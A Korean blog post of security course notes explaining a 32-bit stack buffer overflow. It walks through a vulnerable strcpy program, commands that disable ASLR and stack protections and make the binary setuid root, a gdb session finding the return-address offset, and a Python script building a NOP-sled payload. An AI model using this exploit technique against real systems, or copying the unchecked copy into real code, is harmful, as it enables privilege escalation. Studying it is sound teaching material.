다양한 기록

Buffer Overflow Attack 본문

운영체제보안

Buffer Overflow Attack

라구넹 2024. 10. 22. 18:54

High address

Stack
|
Heap
BSS Segment
Data Segment
Text(Code) Sement

Low address

* 스택이랑 힙 사이 어딘가에 Shared Library 존재 (printf ..)

 

Text(Code) Segment: 명령어, 상수, 문자열 리터럴

Data Segment: 전역 변수

BSS Segment: 초기화되지 않은 전역 변수 + 정적 변수

Heap: 동적 할당한 변수

Stack: 인자, 리턴어드레스, Saved ebp, 지역변수

 

void func(int a, int b)
{
    int x, y;
    
    x = a + b;
    y = a - b;
}
movl	12(%ebp), %ebx	; b is stored in %ebp + 12
movl	8(%ebp), %edx	; a is stored in %ebp + 8
addl	%edx, %eax
movl	%eax, -8(%ebp)	; x is stored in %ebp - 8

ebp를 기준으로 값에 접근

 

func's stack frame

Value of b
Value of a
Rerturn address
Previous Frame Pointer (Saved ebp)
Value of X

현 ebp의 값은 Saved ebp를 가리킴

 

공격자는 리턴 어드레스를 바꾸고 싶어 함

int foo(char* str)
{
    char buffer[100];
    
    // 문제 있음 
    strcpy(buffer, str);
    
    return 1;
}

int main(int argc, char** argv)
{
    char str[400];
    FILE* badfile;
    
    badfile = fopen("badfile", "r");
    fread(str, sizeof(char), 300, badfile);
    foo(str);
    
    printf("Returned Properly\n");
    
    return 1;
}

main에서는 300만큼 문자를 읽어오는데 foo에서는 버퍼가 100짜리임

=> strcpy는 크기 체크를 안해서 넘칠 수 있음

 

버퍼 오버플로우 발생 시 어떻게 되는가

- invalid instruction

- non-existing address

- access violation

- attacker's code -> malicous code to gain access

 

실습용 설정

# 1. Turn off address randomization (countermeasure)
sudo sysctl -w kernel.randomize_va_space=0

# 2. Compile set-uid root version of stack.c
gcc -o stack -z execstack -fno-stack-protector stack.c
sudo chown root stack
sudo chmod 4755 stack

sysctl : 커널 파라미터 설정

-z execstack : 스택에 있는 명령이 실행되도록 함

-fno-stack-protector : 스택 카나리 안쓰기


공격자가 위의 foo와 main 코드를 악용하여 악성 코드를 주입하려 한다고 가정

badfile 300바이트로 스택 영역을 덮어씌우고자 함

 

1. 리턴 어드레스의 주소를 알아야 함

2. 악성 코드의 주소를 알아야 함

 

리턴 어드레스는 ebp의 + 4 위치

ebp의 위치를 알아야 함

악성 코드의 주소를 알아내는 건 어려울 수 있음

 

예상

버퍼 100바이트에 리턴 어드레스는 ebp 위의 4바이트이니까

버퍼 기준 위로 104바이트에 리턴 어드레스 존재할 것이라 생각 가능

근데 사실 지역변수랑 ebp 값 사이에 더미 공간 존재.. 그건 시스템 마음

더미 공간까지 얼마나 차이나는지 알아야 함

 

32비트 기준임

 

1. 리턴 어드레스 찾기

gcc -z execstack -fno-stack-protector -g -o stack_dbg stack.c
touch badfile
gdb stack_dbg
.....
(gdb) b foo
Breakpoint 1 at 0x804848a: file stack.c, line 14.
(gdb) run
.....
Breakpoint 1, foo (str=0xbfffeb1c "...") at stack.c:10
10	strcpy(buffer, str);
.....
(gdb) p $ebp
$1 = (void *) 0xbfffeaf8
(gdb) p &buffer
$2 = (char (*)[100]) 0xbfffea8c
(gdb) p/d 0xbfffeaf8 - 0xbfffea8c
$3 = 108
(gdb) quit

-g 옵션: 심볼 정보를 전부 살려서 디버깅을 편하게 만듦(전역변수, 함수 이름)

0x804848a: foo의 주소, 28비트 사용 중... 낮은 주소 => 코드 세그먼트

0xbfffeb1c: str의 주소, 32비트 중에서도 상위 비트가 b로 시작 => 스택

** 0xc0000000 .. 커널 스페이스

gdb에서 p는 프린트, d는 decimal

 

빼니까 108 차이 .. 더미 공간이 108바이트임

=> 리턴 어드레스는 버퍼 시작에서 112바이트 위에 있음

 

2. 악의적인 코드의 주소

gdb로 badfile 주소 알아내는 것도 가능할 순 있으나, NOP 사용 가능

* 이 예제는 사실 그냥 리턴어드레스 바로 위에다 악성코드 주입해도 되긴 하는데, 예제라서 그런 거고 실제로는 어려움

NOP: No Operation .. \90

CPU가 아무 작업도 안하도록 하는 명령 .. 1바이트 사용

 

PC는 값이 계속 증가하면서 다음 명령 가져옴 => NOP로 채워놓고

악성 코드에 도달하게 하기 가능 => 악의적인 코드의 정확한 주소를 알 필요가 없음

 

badfile 만들기

버퍼 처음부터 RT까지: 112바이트

RT: 4바이트 .. 116바이트

= 116바이트 이후에 악성코드 주입

* 사실 그 전에 빈 공간에 해도 되긴 하는데, 버퍼가 10바이트 이러면 안됨. 40바이트는 필요

# exploit.py
content = bytearray(0x90 for i in range(300))

start = 300 - len(shellcode)
content[start:] = shellcode

ret = 0xbfffeaf8 + 120
content[112:116] = (ret).to_bytes(4, byteorder='little')

with open('badfile', 'wb') as f:
    f.write(content)

제일 처음에 NOP로 300바이트 채움

그 다음 끝에다 쉘코드 붙임

 

리턴 어드레스는 쉘코드와 리턴 어드레스 사이 어딘가의 값을 줌

=> NOP 때문에 계속 다음으로 넘어가다가 쉘코드 실행됨

 

* 리틀 엔디안

0x0A0B0C00D

MSB(Most Significant Bit)가 높은 주소에,

LSB(Least Significant Bit)가 낮은 주소에 들어감

가장 왼쪽이 MSB, 오른쪽이 LSB

 

물론 쉘 코드를 만들긴 해야 함

'운영체제보안' 카테고리의 다른 글

Set-UID Privileged Program  (0) 2024.10.19
Kernel / user mode, kernel mode  (0) 2024.10.14
리눅스 매뉴얼, 커맨드  (0) 2024.10.14
User Authentication  (0) 2024.10.14
Running Command with Privilege  (0) 2024.10.12